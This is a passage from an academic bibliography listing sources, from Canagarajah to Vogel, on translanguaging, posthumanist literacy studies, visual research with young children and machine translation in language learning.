S. (Ed.). *The Routledge handbook of migration and language*. Routledge. Canagarajah, S. (2018a). English as a spatial resource and the claimed competence of Chinese STEM professionals. *World Englishes, 37*, 34-50. Canagarajah, S. (2018b). Materializing ‘competence’: Perspectives from international STEM scholars. *The Modern Language Journal, 102*(2), 1-24. Canagarajah, S. (2018c). Translingual practice as spatial repertoires: Expanding the paradigm beyond structuralist orientations. *Applied Linguistics, 39*(1), 31-54. Canagarajah, S. (2018d). The unit and focus of analysis in lingua franca English interactions: In search of a method, *International Journal of Bilingual Education and Bilingualism, 21*(7), 805-824. Canagarajah, S. & De Costa, P.I. (2016). Introduction: Scales analysis, and its uses and prospectus in educational linguistics. *Linguistics and Education, 34*, 1-10. Canton, L. & Hackett, A. (2019). Head mounted, chest mounted, tripod or roaming? Ontological possibilities for doing visual research with children and GoPro cameras. In Kucirkova, N., Rowsell, J. & Falloon, G. (Eds.). *The Routledge international handbook of playing and learning with technology in early childhood* (1st ed., pp. 362-376). Routledge. Cappello, M. (2005). Photo interviews: eliciting data through conversations with children. *Field Methods, 17*(2), 170-182. Case, M. (2015). Machine translation and the disruption of foreign language learning activities. *eLearning Papers, 45*, 4-16. Castanheira, M.L., Green, J., Dixon, C., & Yeagerb, B. (2007). (Re)formulating identities in the face of fluid modernity: An interactional ethnographic approach. *International Journal of Educational Research, 46*, 172-189. Celic, C. & Seltzer, K. (2012). *Translanguaging: A CUNY-NYSIEB guide for educators.* CUNY-NYSIEB, The Graduate Center, CUNY. [http://www.cuny-nysieb.org](http://www.cuny-nysieb.org). Chapman De Sousa, E. B. (2017). Promoting the contributions of multilingual preschoolers. *Linguistics and Education, 39*, 1–13. Clark, A. & Moss, P. (2001). *Listening to young children: the mosaic approach.* NCB. Clark, A. (2011). Multimodal map making with young children: Exploring ethnographic and participatory methods. *Qualitative Research, 11*(3), 311-330. Clonan-Roy, K., Rhodes, C. & Wortham, S. (2016). Moral panic about sexual promiscuity: Heterogeneous scales in the identification of one middle-school Latina girl. *Linguistics and Education, 34*, 11-21. Coates, E. & Coates, A. (2006) Young children talking and drawing. *International Journal of Early Years Education, 14*(3), 221-241. Melting Pot Ceremony at Ford English School, July 4, 1917. Collections of the Henry Ford. Gift of Ford Motor Company (04 July 1917) [photographic print]. Photographic Vertical File Series (Object ID: 84.1.1660.P.O.7227), Benson Ford Research Center. [https://www.thehenryford.org/collections-and-research/digital-collections/artifact/254569/#slide=gs-213137](https://www.thehenryford.org/collections-and-research/digital-collections/artifact/254569/#slide=gs-213137). Collins, J., Slembrouck, S. & Baynham, M. (2009). Introduction: Scale, migration and communicative practice. In Collins, J., Slembrouck, S. & Baynham, M. (Eds.) *Globalization and language in contact: Scale, migration, and communicative practices* (1st ed., pp. 1-18). Continuum International Publishing Group. Collins, J. (2012). Migration, sociolinguistic scale, and educational reproduction. *Anthropology and Education Quarterly, 43*(2), 192-213. Compton-Lilly, C., Papoi, P.V., Hamman, L. & Schwabenbaur, B. (2016). Intersectional identity negotiation: The case of young immigrant children. *Journal of Literacy Research, 49*(1), 115-140. Cooper, V. L. (2017). Lost in translation: Exploring childhood identity using photo-elicitation. *Children’s Geographies, 15*(6), 625-637. Corsaro, W. A. (2003). *We’re friends, right? Inside kids’ culture*. Joseph Henry Press. Dabek, R. (2017). Immaterial/materiality. *Journal of Asia-Pacific Pop Culture, 2*(2), 220-237. Dagenais, D., Day, E., & Toohey, K. (2006). A multilingual child’s literacy practices and contrasting identities in the figured worlds of French immersion classrooms. *International Journal of Bilingual Education and Bilingualism, 9*(2), 205-218. Dagenais, D., Toohey, K., Fox, A.B. & Singh, A. (2017) Multilingual and multimodal composition at school: ScribJab in action, *Language and Education, 31*(3), 263-282. Darbyshire, P., MacDougall, C., & Schiller, W (2005). Multiple methods in qualitative research with children: More insight or just more? *Qualitative Research, 5*(4), 417-436. da Silva Iddings, A.C. (2005). Linguistic Access and Participation: English language learners in an English-dominant community of practice. *Bilingual Research Journal, 29*, 165-182. da Silva Iddings, A., Haught, J. & Devlin, R. (2005). Multimodal representations of self and meaning for second language learners in English-dominant classrooms. In. Hall, J.K., Vitanova, G., & Marchenkova, L. (Eds.). *Dialogue with Bakhtin on second and foreign language learning: New Perspectives* (1st ed., pp. 29-47). Lawrence Erlbaum Associates. Davies, B. (2014a). *Listening to children: Being and becoming*. Routledge. Davies, B. (2014b). Reading anger in early childhood intra-actions: A diffractive analysis. *Qualitative Inquiry, 20*(6), 734-741. Davies, B. (2018). The persistent smile on the Cheshire cat: Explorations in the agency of matter through art-making. *Qualitative Inquiry, 00*(0) 1-9. De Costa, P. (2015) Re-envisioning language anxiety in the globalized classroom through a social imaginary lens. *Language Learning, 65*(3), 504–532. de Freitas, E. & Curinga, M.X. (2015). New materialist approaches to the study of language and identity: Assembling the posthuman subject. *Curriculum Inquiry, 5*(3), 249-265. de Freitas, E. (2015). Classroom video data and the time-image: An-archiving the student body. *Deleuze Studies, 9*(3), 318-336. de Freitas, E. (2016). The moving image in education research: Reassembling the body in classroom video data. *International Journal of Qualitative Studies in Education, 29*(4), 553-572. Deleuze, G., & Guattari, F. (1986). *Kafka toward a minor literature*. The University of Minnesota. Deleuze, G., & Guattari, F. (1987). *A thousand plateaus: Capitalism and schizophrenia*. Continuum. Deleuze, G. (2004). *The logic of sense* (M. Lester with C. Stivale, Trans.). Columbia University Press. Logique du sens. [1969]. Dernikos, B.P., Ferguson, D.E., & Siegel, M. (2019). The possibilities for “humanizing” posthumanist inquiries: An intra-active conversation. *Cultural Studies-Critical Methodologies, 1*-14. Devine, D. (2009). Mobilizing capitals? Migrant children’s negotiation of their everyday lives in school. *British Journal of Sociology of Education, 30*(5), 521-535. Dong, J.K. & Blommaert, J. (2009). Space, scale and accents: Constructing migrant identity in Beijing. *Multilingua: Journal of Cross-Cultural and Interlanguage Communication*, 28, 2-24. Dyson, A.H. (1990) Symbol makers, symbol weavers: How children link play, pictures, and print. *Young Children*, 45(2), 50-57. Dyson, A. H. (1993). *Social worlds of children learning to write in an urban primary school*. Teacher’s College Press. Dyson, A. H. (1997). *Writing superheroes: Contemporary childhood, popular culture, and classroom literacy*. Teacher’s College Press. Edwards, C. P., Gandini, L., & Forman, G. E. (2012). *The hundred languages of children: The Reggio Emilia experience in transformation* (3rd Edition). ABC-CLIO. Ehret, C. (2018). Moments of teaching and learning in a children’s hospital: Affects, textures, and temporalities. *Anthropology & Education Quarterly*, 49(1), 53-71. Ehret, C., Hollett, T. & Jocius, R. (2016). The matter of new media making: An intra-action analysis of adolescents making a digital book trailer. *Journal of Literacy Research*, 48(3), 346-377. Einarsdottir, J., Dockett, S., and Perry, B (2009). Making meaning: Children’s perspectives expressed through drawings, *Early Child Development and Care*, 179(2), 217-232. Emerson, R. M., Fretz, R. I., & Shaw, L. L. (2011). *Writing ethnographic field notes* (2nd ed.). The University of Chicago Press. Favero, P. (2016). ‘Analogization’ Reflections on wearable cameras and the changing meaning of images in a digital landscape. In Cruz, E. & Lehmuskallio, A. (Eds.) *Digital* photography and everyday life: Empirical studies on material visual practices (1st ed., pp. 209-227). Routledge. Flewitt, R. (2014). Interviews. In Clark, A., Flewitt, R., Hammersley, M. & Robb, M.(Eds.) Understanding Research with Children and Young People (1st ed., pp. 136-153). Sage Publications Inc. Flores, N. & Schissel, J. (2014). Dynamic bilingualism as the norm: Envisioning a heteroglossic approach to standards-based reform. TESOL Quarterly, 48(3), 454-479. Forman, G. & Fyfe, B. (2012). Negotiated learning through design, documentation, and discourse. In Edwards, C. P., Gandini, L., & Forman, G. E. (Eds.), The hundred languages of children: The Reggio Emilia experience in transformation (3rd ed., pp. 247-272). ABC-CLIO. Frey, W. (2011, May 4). “Melting Pot Cities and Suburbs: Racial and Ethnic Change in Metro America in the 2000s.” https://www.brookings.edu/research/melting-pot-cities-and-suburbs-racial-and-ethnic-change-in-metro-america-in-the-2000s/. Gallas, K. (1994). The languages of learning: How children talk, write, dance, draw, and sing their understanding of the world. Teachers College Press. Garcia, I. & Pena, M.I. (2011) Machine translation-assisted language learning: writing for beginners, Computer Assisted Language Learning, 24(5), 471-487. Garcia, O. (2009). Bilingual education in the 21st century: A global perspective. Wiley-Blackwell. Garcia, O. (2018). The multiplicities of multilingual interaction, International Journal of Bilingual Education and Bilingualism, 21(7), 881-891. García, O. & Kleifgen, J.A. (2018). *Educating emergent bilinguals: Policies, programs, and practices for English learners*. Teacher’s College Press. García, O. & Wei, L. (2014). *Translanguaging: Language, bilingualism, and education*. Palgrave Macmillan. Genishi, C. & Dyson, A. H. (2009). *Children, language, and literacy: Diverse learners in diverse Times*. Teachers College Press. Ghiso, M.P. (2016). The laundromat as the transnational local: Young children’s literacies of interdependence. *Teachers College Record, 118*, 1-46. González, N., Moll, L., & Amanti, C. (2005). *Funds of knowledge: Theorizing practices in households, communities, and classrooms*. Lawrence Erlbaum. Graue, E. M. & Walsh, D. J. (1998) *Studying children in context: theories, methods and Ethics*. SAGE. Gregg, M., & Seigworth, G. J. (2010). *The affect theory reader*. Duke University Press. Groves, M. & Mundt, K. (2015). Friend or foe? Google Translate in language for academic purposes. *English for Specific Purposes, 37*, 112-121. Gu, M.M. & Ho, K. T. (2012). Space, scale and languages: Identity construction of cross-boundary students in a multilingual university in Hong Kong. *Language and Education, 26*(6), 501-515. Gullion, J.S. (2018). *Diffractive ethnography: Social sciences and the ontological turn*. New York, NY: Routledge. Gumperz, J., & Hymes, D. (Eds.). (1972/1986). *Directions in sociolinguistics: The ethnography of communication*. Blackwell. Hackett, A. & Somerville, M. (2017). Posthuman literacies: Young children moving in time, place and more-than-human worlds. *Journal of Early Childhood Literacy, 17*(3), 374-291. Hackett, A., Pahl, K. & Pool, S. (2017). In amongst the glitter and the squashed blueberries: Clarifying a collaborative lens for children’s literacy pedagogy in a community setting. *Pedagogies: An International Journal, 12*(1), 58-73. Haque, E. & Morgan, B. (2009). Un/marked pedagogies: A dialogue on race in EFL and ESL settings. In Kubota, R. & Lin, Angel (Eds.), *Race, culture, and identities in second language education: exploring critically engaged practice* (1st ed., pp. 271-285). Routledge. Hamayan, E. (2012). What is the role of culture in language learning? In E. Hamayan & R.F. Field (Eds.), *English language learners at school: A guide for administrators* (2nd ed., pp. 47-49). Caslon. Hawkins, M.R. (2014). Ontologies of place, creative meaning making and critical cosmopolitan education. *Curriculum Inquiry, 44*(1), 90-112. Hawkins, M.R. (2018). Transmodalities and transnational encounters: Fostering critical cosmopolitan relations. *Applied Linguistics, 39*(1), 55-77. Haraway, D.J. (2016). *Staying with the trouble: Making kin in the Chthulucene*. Duke University Press. Harwood, D. & Collier, D. (2017). The matter of the stick: Storying/(re)storying children’s literacies in the forest. *Journal of Early Childhood Literacy, 17*(3), 336-352. Harwood, D. & Collier, D. (2019). “Talk into my GoPro, I’m making a movie!” Using digital ethnographic methods to explore children’s sociomaterial experiences in the woods. In Kucirkova, N., Rowsell, J. & Falloon, G. (Eds.). *The Routledge international handbook of playing and learning with technology in early childhood* (pp. 49-61). Routledge. Heath, C. & Hindmarsh, J. (2002). Analyzing interaction: Video, ethnography, and situated conduct. In May, T (Ed.), *Qualitative research in action*. (pp. 99-121) SAGE. Heath, S.B. & Street, B.V. (2008). *On ethnography: Approaches to language and literacy research*. Teacher’s College Press. Hollett, T. & Ehret, C. (2017). Relational methodologies for mobile literacies: Intra-action, rhythm, and atmosphere. In (Eds.) Burnett, C., Merchant, G., Simpson, A., & Walsh, M. *The case of the iPad: Mobile literacies in education* (1st ed., pp. 227-244). Springer. Hornberger, N. & Link, H. (2012). Translanguaging and transnational literacies in multilingual classrooms: A biliteracy lens. *International Journal of Bilingual Education and Bilingualism*. 15(3), 261-278. Hultman, K. & Lenz Taguchi, H.L. (2010). Challenging anthropocentric analysis of visual data: A relational materialist methodological approach to educational research. *International Journal of Qualitative Studies in Education*, 23(5), 525-542. Ingold, T. (2014). That’s enough about ethnography! *HAU: Journal of Ethnographic Theory*, 4(1), 383-395. Jackson, A. Y. & Mazzei, L.A. (2012). *Thinking with theory in qualitative research: Viewing data across multiple perspectives*. Routledge. Jaffe-Walter, R. & Lee, S. (2018). Engaging the transnational lives of immigrant youth in public schooling: Toward a culturally sustaining pedagogy for newcomer immigrant youth. *American Journal of Education*, 124(3), 257-283. Johnson, M., Schuster, M., Le, Q.V., Krikun, M., Wu, Y., Chen, Z., Thorat, N., Viégas, F., Wattenberg, M., Corrado, G., Hughes, M., & Dean, J. (2016). Google’s multilingual neural machine translation system: enabling zero-shot translation. https://arxiv.org/abs/1611.04558. Juelskjaer, M. (2013). Gendered subjectivities of spacetime matter. *Gender and Education*, 25(6), 754-768. Katz, L. & da Silva Iddings, A. C. (2009). Classroom positioning and children’s Construction of linguistic and racial identities in English-dominant classrooms. In R. Kubota (Ed.). *Race, culture, and identity in second language education*, (pp. 139-157). Routledge. Kell, C. (2013). Ariadne’s thread: Literacy, scale and meaning making across time and space. In Stroud, C. and Prinsloo, M. (Eds.). *Language, literacy and diversity: Moving words* (1st ed., pp. 72-91). Routledge. Kind, S. (2013). Lively entanglements: The doings, movements and enactments of photography. *Global Studies of Childhood*, 3(4), 427-441. Knight, L. & Dooley, K. (2015). Visual arts learning with iPads. In Dezuanni, M., Dooley, K., Gattenhof, S. & Knight, L. (Eds.) *Drawing and writing on the screen. iPads in the early years: Developing literacy and creativity*, (1st ed., pp. 44-65). Routledge. Kondo and Sjöberg (2012). Children’s perspectives through the camera lens: Reflections on meaning-making processes and participatory research. *Nordicom Review*, 33(1), 3-18. Kress, G. (1997). *Before writing: Rethinking the paths to literacy*. Routledge. Kuby, C. R. & Rucker, T.G. (2016). *Go be a writer! : Expanding the curricular boundaries of literacy learning with children*. Teachers College Press. Kuby, C. R. & Rucker, T.G. (2015). Everyone has a Neil: Possibilities of literacy desiring in Writers’ Studio. *Language Arts, 92*(5), 314-327. Kuby, C. R. & Crawford, S. (2017). Intra-activity of humans and nonhumans in Writers’ Studio: (re)imagining and (re) defining ‘social’. *Literacy, 52*(1), 20-30. Kuby, C. R., Rucker, T.G. & Darolia, L.H. (2017). Persistence(ing): Posthuman agency in a Writer’s Studio. *Journal of Early Childhood Literacy, 17*(3), 353-373. Kuby, C.R., Rucker, T.G.& Kirchofer, J.M. (2017). ‘Go be a writer’: Intra-activity with materials, time and space in literacy learning. *Journal of Early Childhood Literacy, 15*(3), 394-419. Kuby, C.R. (2018). (Re)thinking and (re)imagining social(ing) with a more-than-human ontology given the limits of (re)(con)straining language. *Cultural Studies-Critical Methodologies, 1*-18. Kuby, C.R., Spector, K., & Thiel, J.J. (2019). Cuts too small: An introduction. In Kuby, C.R., Spector, K., & Thiel, J.J. (Eds.) *Posthumanism and Literacy Education: Knowing/Becoming/Doing Literacies*. (pp. 1-17). Routledge. Kusters, A. (2017). Gesture-based customer interactions: deaf and hearing Mumbaikars’ multimodal and metrolingual practices. *International Journal of Multilingualism, 14*(3), 1-20. Kusters, A., Spotti, M., Swanwick, R., & Tapio, E. (2017). Beyond languages, beyond modalities: transforming the study of semiotic repertoires. *International Journal of Multilingualism, 14*(3), 1-14. Ladson-Billings, G. (2001). Teaching and cultural competence: What does it take to be a successful teacher? *Rethinking Schools, 15*(4), 16-17. Lake, V.E. & Beisly, A.H. (2019). Translation apps: Increasing communication with dual language learners. *Early Childhood Education Journal*, 47, 489-496. Lam, W.S.E. & Warriner, D.S. (2012). Transnationalism and literacy: Investigating the mobility of people, languages, texts, and practices in contexts of migration. *Reading Research Quarterly*, 47(2), 191-215. Langlois, G. (2014). *Meaning in the Age of Social Media*. Palgrave Macmillan. Lawrence, S. M. (2018) Preschool children and iPads: Observations of social interactions during digital play, *Early Education and Development*, 29(2), 207-228. Leander, K. & Boldt, G. (2013). Rereading “A pedagogy of multiliteracies”: Bodies, texts, and emergence. *Journal of Literacy Research*, 45(1), 22-46. Lee, J.W. & Lou, J.J. (2019). The ordinary semiotic landscape of an unordinary place: Spatiotemporal disjunctures in Incheon’s Chinatown, *International Journal of Multilingualism*, 16(2), 187-203. Lemke (2002). Language development and identity: Multiple timescales in the social ecology of learning. In C. Kramsch (Ed.), *Language acquisition and socialization: Ecological approaches* (pp. 68–87). Continuum. Lenters, K. (2016). Riding the lines and overwriting in the margins: affect and multimodal literacy practices. *Journal of Literacy Research*, 48(2), 280-316. Lenters, K. (2018). Multimodal becoming: Literacy in and beyond in the classroom. *The Reading Teacher*, 71(6), 643-649. Lenz Taguchi, H. (2010). *Going beyond the theory/practice divide in early childhood education: Introducing an intra-active pedagogy*. Routledge. Lenz Taguchi, H. (2011). Investigating learning, participation and becoming in early childhood practices with a relational materialist approach. *Global Studies of Childhood, 1*(1), 36-50. Lenz Taguchi, H. (2012). A diffractive and Deleuzian approach to analyzing interview data. *Feminist Theory, 13*(3), 265-281. Lenz Taguchi, H. & Palmer, A. (2013). A more ‘livable’ school? A diffractive analysis of the performative enactments of girls’ ill-/well-being with(in) school environments. *Gender and Education, 26*(6), 671-687. Lewis, C., Encisco, P., & Moje, E. (2007). *Reframing Sociocultural Research on Literacy*. Erbaum. Liggett, L (2009). Unpacking white racial identity in English language teacher education. In Kubota, R. & Lin, A. (Eds.), *Race, culture, and identities in second language education: exploring critically engaged practice* (1st ed., pp. 27-43). Routledge. Lin, A. (2018). Theories of trans/languaging and transsemiotizing: implications for content-based education classrooms. *International Journal of Bilingual Education, 22*(1), 5-16. MacDougall (2006). *The corporeal image: film, ethnography, and the senses*. Princeton University Press. MacLure, M. (2013). Researching without representation? Language and materiality in post-qualitative methodology. *International Journal of Qualitative Studies in Education, 26*, 658-667. MacLure, M. (2016). The refrain of the a-grammatical child: Finding another language in/for qualitative research. *Cultural Studies-Critical Methodologies, 16*(2), 173-182. Makoni, S. & Pennycook, A. (Eds.) (2007). *Disinventing and reconstituting languages*. Multilingual Matters. Maguire, M.H. & Curdt-Christiansen, X.L. (2007). Multiple schools, languages, experiences and affiliations: Ideological becomings and positionings. *Heritage Language Journal, 5*(1), 50-78. Magnusson, L. O. (2018). Photographic agency and agency of photographs: Three-year-olds and digital cameras. *Australasian Journal of Early Childhood, 43*(3), 34-42. Manovich, L. (2001). *The language of new media*. The MIT Press. Martínez-Álvarez, P. (2017). Language multiplicity and dynamism: Emergent bilinguals taking ownership of language use in a hybrid curricular space. *International Multilingual Research Journal, 11*(4), 255-276. Martin-Jones, M. and Jones, K (2000). *Multilingual literacies: Reading and writing in different worlds*. Johns Benjamins Publishing Company. Massumi (2002). *Parables for the virtual: Movement, affect, sensation*. Duke University Press. Mazzei, L. (2014). Beyond an easy sense: A diffractive analysis. *Qualitative Inquiry, 20*(6), 742-746. Mazzei, L. & Jackson, A. (2017). Voice in the agentic assemblage. *Educational Philosophy and Theory, 49*(11), 1090-1098. Mazzei, L. & Jackson, A. (2017). Thinking with theory: A new analytic for qualitative inquiry. In Denzin, N.K. & Lincoln, Y.S. (Eds.). *The SAGE handbook of qualitative research* (5th ed., pp.717-737). SAGE Publications, Inc. Mazzei, L.A. & Jackson, A. Y. (2019). Posthuman literacies in a minor language: Expressions-to-come. Posthumanism and literacy education. In Kuby, C.R., Spector, K., & Thiel, J.J. (Eds.) *Posthumanism and literacy education: Knowing/becoming/doing literacies*. (pp. 1-17). Routledge. McElhinny, B. (2010). The audacity of affect: Gender, race, and history in linguistic accounts of legitimacy and belonging. *Annual Review of Anthropology*, 39(1), 309–328. Mengis, J., Nicolini, D., & Gorli, M. (2016). The video production of space: How different recording practices matter. *Organizational Research Methods*, 21(2), 288-315. Mortimer, K.S. (2016). Producing change and stability: A scalar analysis of Paraguayan bilingual education policy implementation. *Linguistics and Education*, 34, 58-69. Motha, S. (2014). *Race, empire, and English language teaching: Creating responsible and ethical anti-racist practice*. Teachers College Press. Mundt, K. & Groves, M. (2016). A double-edged sword: The merits and the policy implications of Google Translate in higher education, *European Journal of Higher Education*, 6(4), 387-401. Murris, K. (2016). The posthuman child: Educational transformation through philosophy with picture books. Routledge. Murris, K. & Babamia, S (2018). Bodies with legs. ‘Fidgeting’ and how recording practices matter. In Murris, K. & Haynes, J.(Eds.) *Literacies, Literature and Learning Reading Classrooms Differently* (1st ed., pp. 110-128). Routledge. Murris, K. & Haynes, J. (2018). The ‘classroom’ and posthuman research methodologies. *Literacies, Literature, and Learning*. Routledge. Nichols, T.P. & Campano, G. (2017). Post-humanism and literacy studies. *Language Arts*, 93(4), 245-251. Office of English Language Acquisition (OELA) (2015). *Fast facts: Profiles of English learners*. Washington, DC: U.S. Department of Education. Orellana, M.F., Martinez, D. C., & Martinez, A. (2014). Language brokering and translanguaging: Lessons on leveraging students’ linguistic competencies. *Language Arts, 91*(5), 311-312. Pacini-Ketchabaw, V., Kind, S., & Kocher, L.L.M. (2016). *Encounters with materials in early childhood education*. Routledge. Palmer, A. (2011). “How many sums can I do”? : Performative strategies and diffractive thinking as methodological tools for rethinking mathematical subjectivity. *Reconceptualizing Educational Research Methodology (RERM), 1*(1), 3-18. Paris, D., & Winn, M. T. (2013). *Humanizing research: Decolonizing qualitative inquiry with youth and communities*. Sage Publications. Paris, D. & Alim, H.S. (2014). What are we seeking to sustain through culturally sustaining pedagogy? A loving critique forward. *Harvard Educational Review, 84*(1), 85-100. Paris, D. & Alim, H.S. (2017). What is culturally sustaining pedagogy and why does it matter? In Paris, D. & Alim, H.S. (Eds.). *Culturally sustaining pedagogies: teaching and learning for justice in a changing world* (pp.1-15). Teacher’s College Press. Pennycook, A. (2017). Translanguaging and semiotic assemblages. *International Journal of Multilingualism, 14*(3), 269-282. Pennycook, A. (2018a). *Posthuman Applied Linguistics*. Routledge. Pennycook, A. (2018b). Repertoires, registers and linguistic diversity. In Creese, A. & Blackledge, A. (Eds.). *The Routledge Handbook of Language and Superdiversity* (1st ed., pp. 3-15). Routledge. Pennycook, A. & Otsuji, E. (2014). Metrolingual multitasking and spatial repertoires: ‘Pizza mo two minutes coming’. *Journal of Sociolinguistics, 18*(2), 161–184. Pennycook, A. & Otsuji, E. (2017). Fish, phone cards and semiotic assemblages in two Bangladeshi shops in Sydney and Tokyo. *Social Semiotics*, 27(4), 434-450. Pink, S., Ardévol, E. & Lanzeni, D. (2016). Digital materiality. In Pink, S., Ardévol, E. & Lanzeni, D. (Eds.) *Digital Materialities: Design and Anthropology* (1st ed., pp. 1-26). Bloomsbury Academic. Pink, S., Sumartojo, S., Lupton, D., & Heyes LaBond, C.H. (2017). Empathetic technologies: digital materiality and video ethnography. *Visual Studies*, 32(4), 371-381. Pinnow, R. J. & Chval, K. B. (2015). “How much you wanna bet?”: Examining the role of positioning in the development of L2 learner interactional competencies in the content classroom. *Linguistics and Education*, 30, 1–11. Powell, K., & Schulte, C. (2016). “Radical hospitality”: Food and drink as intercultural exchange. In Burnard, P., Mackinley, E., & Powell, K. (Eds.). *The Routledge international handbook of intercultural arts research* (1st ed., pp. 238-247). Routledge. Powell, S. & Somerville, M. (2018). Drumming in excess and chaos: Music, literacy and sustainability in early years learning. *Journal of Early Childhood Literacy*, 0(0), 1-23. Prince, J. (2017). English language learners in a digital classroom. *The CATESOL Journal*, 29(1), 51-73. Prinsloo, M. (2017). Spatiotemporal scales and the study of mobility. In Canagarajah, S. (Ed.). *The Routledge handbook of migration and language* (1st ed., pp. 364-380). Routledge. Prosser, J. & Loxley, A. (2008). Introducing visual methods. *ESRC National Centre for Research Methods Review Paper*. Ramati, I. & Pinchevski, A. (2017). Uniform multilingualism: A media genealogy of Google Translate. *New Media & Society*, 20(7), p.2550-2565. Rauito, P. (2014). Mingling and imitating in producing spaces for knowing and being: Insights from a Finnish study of child-matter intra-action. *Childhood, 21*(4), 461-474. Rauito, P. & Winston, J. (2015). Things and children in play—improvisation with language and matter. *Discourse: Studies in the Cultural Politics of Education, 36*(1), 15-26. Rinaldi, C. (2006). Dialogue with Carlina Rinaldi: A discussion between Carlina Rinaldi, Gunilla Dahlberg, and Peter Moss. In Rinaldi, C. (Ed.), *In Dialogue with Reggio Emilia: Listening, Researching, and Learning* (1st ed., pp. 178-209). Routledge. Rinaldi, C. (2012). The pedagogy of listening: The listening perspective from Reggio Emilia. In Edwards, C. P., Gandini, L., & Forman, G. E. (Eds.), *The Hundred Languages of Children: The Reggio Emilia Experience in Transformation* (3rd ed., pp. 233-246). ABC-CLIO. Rose, G. (2016). *Visual methodologies: An introduction to researching with visual Materials*. SAGE Publications Inc. Rosiek, J. (2019). Critical race theory meets posthumanism: Lessons from a study of racial resegregation in public schools. *Race Ethnicity and Education, 22*(1), 73-92. Rowe, D.W. & Miller, M.E. (2016). Designing for diverse classrooms: Using iPads and digital cameras to compose eBooks with emergent bilingual/biliterate four-year-olds. *Journal of Early Childhood Literacy, 16*(4), 425-472. Ruppert, E., Law, J. & Savage, M. (2013). Reassembling social science methods: the challenge of digital devices. *Theory, Culture & Society, 30*(4), 22-46. Rymes, B. R. (2014). *Communicating beyond language: Everyday encounters with diversity*. Routledge. Schulte, C.M. (2019). Wild encounters: A more-than-human approach to children’s drawing. *Studies in Art Education, 60*(2), 92-102. Schulte, C.M. (in press). Interview with Christopher Schulte. In P. Semenec & C. Díaz –Díaz (Eds.), *Research after the child: Engaging with posthumanist and new materialist methodologies* (NA). Springer. Scott, C. (2019). Synesthesia and intersemiosis: Competing principles in literary translation. In Campbell, M., Vidal, R. (Eds). *Translating across Sensory and Linguistic Borders: Intersemiotic Journeys between Media* (1st ed., pp.87-112). Palgrave Macmillan. Scott, J.B. & Dingo, R. (2012). Introduction. In Dingo, R., & Scott, J. B. (Eds.). *The megarhetorics of global development* (pp. 1-25). University of Pittsburgh Press. Sherbine, K. (2018). Track Star + thing power: Be(com)ing in the literacy workshop. *Journal of Early Childhood Literacy, 0*(0), 1-18. Sherman, B., Haneda, M., Bose, F., & Teemant, A. (2019). Ways of interacting: What underlies instructional coaches’ discursive actions. *Teaching and Teacher Education, 78*, 165-173. Smythe, S., Toohey, K., & Dagenais, D. (2014). Video making, production pedagogies, and educational policy. *Educational Policy, 30*(5), 740-770. Somerville, M. & Powell, S.J. (2018). Thinking posthuman with mud: And children of the Anthropocene. *Educational Philosophy and Theory, 51*(8), 829-840. Spradley, J. P. (1979). *The ethnographic interview*. Holt, Rinehart and Winston. Springgay, S. & Truman, S. E. (2017). On the need for methods beyond proceduralism: Speculative middles, (in) tensions, and response-ability in research. *Qualitative Inquiry, 00*(0), 1-12. Springgay, S. & Truman, S. E. (2018). *Walking methodologies in a more-than-human world: WalkingLab*. Routledge. Song, X. (2018). Hollywood movies and China: Analysis of Hollywood globalization and relationship management in China’s cinema market. *Global Media in China*, 3(3), 177-194. Soto, L. and Garza, I. (2011). Latino/a immigrant children’s drawings and writings. *Contemporary Issues in Early Childhood*, 12(2), 118-133. Stewart, A. (2007). *Ordinary affects*. Duke University Press. Stornaiuolo, A., Smith, A., Philips, N. (2016). Developing a transliteracies framework for a connected world. *Journal of Literacy Research*, 49(1), 68-91. Stornaiuolo & LeBlanc, R.J. (2016). Scaling as a literacy activity: Mobility and educational inequality in an age of global connectivity. *Research in the Teaching of English*, 50(3), 263-287. Suárez-Orozco, M. (2005). Right moves? Immigration, globalization, utopia, and dystopia. In M. Suárez-Orozco, C. Suárez- Orozco, & D. Qin-Hilliard (Eds.), *The new immigration: An interdisciplinary reader* (pp. 3–20). Routledge. Sun, M. (2016). Peer collaboration in an English/Chinese bilingual program in Western Canada. *The Canadian Modern Language Review*, 72(4), 423-453. Sumartojo, S & Graves, M. (2019). Feeling through the screen: Memory sites, affective entanglements and digital materialities, *Social and Cultural Geography*, 1-19. Sumartojo, S. & Pink, S. (2017). Empathetic Visuality: GoPros and the video trance. In Cruz, G., Sumartojo, S., & Pink, S. (Eds.). *Refiguring Techniques in Digital Visual Research*, (pp. 39-50). Palgrave Macmillan. Taffel, S. (2012). Escaping attention: Digital media hardware, materiality and ecological cost. *Culture Machine*, 13. Tammivaara, J. & Enright, D.S. (1986). On eliciting information: Dialogues with child informants. *Anthropology & Education Quarterly*, 17(4), 218-238. Taylor, A. & Giugni, M. (2012). Common worlds: Reconceptualizing inclusion in early childhood communities. *Contemporary Issues in Early Childhood*, 13(2), 108-119. Thiel, J. (2015). Vibrant matter: The intra-active role of objects in the construction of young children’s literacies. *Literacy Research: Theory, Method, and Practice*, 64, 112-131. Thiel, J.J. & Jones, S. (2017). The literacies of things: Reconfiguring the material-discursive production of race and class in an informal learning centre. *Journal of Early Childhood Literacy*, 17(3), 315-335. Tobin, J. J. (2000). "Good guys don’t wear hats": Children’s talk about the media. Teachers College Press. Tobin, J. J., Hsueh, Y., & Karasawa, M. (2009). *Preschool in three cultures revisited: Japan, China and the United States*. University of Chicago Press. Toohey, K. (1998). *Learning English at school: Identity, social relations and classroom practice*. Multilingual Matters Ltd. Toohey, K. & Dagenais, D. (2015). Videomaking as sociomaterial assemblage. *Language and Education*, 29(4), 302-316. Toohey, K., Dagenais, D., Fodor, A., Hof, L., Nunez, O., Singh, A., & Schulte, L. (2015). “That sounds so cooool”: Entanglements of children, digital tools, and literacy practices. *TESOL Quarterly*, 49(3), 461-485. Toohey, K. (2018a). *Learning English at school: Identity, socio-material relations and classroom practice*. Multilingual Matters. Toohey, K. (2018b). The onto-epistemologies of new materialism: Implications for applied linguistics pedagogies and research. *Applied Linguistics*, 1-21. van Leeuwen, T. (2005). *Introducing social semiotics*. Routledge. Vannini, P. (2014). Non-representational ethnography: new ways of animating lifeworlds. *Cultural Geographies*, 22(2), 317-327. Vasudevan, L., Rodriguez Kerr, K., Conley, T., & Riina-Ferrie, J. (2015). Postmodernism and literacy studies. In Rowsell, J. and Pahl, K. (Eds). *The Routledge Handbook of Literacy Studies* (1st ed., pp. 215-217). Routledge. Vogel, S. Ascenzi-Moreno, L. & García, O. (2018). An expanded view of translanguaging: Leveraging the dynamic interactions between a young 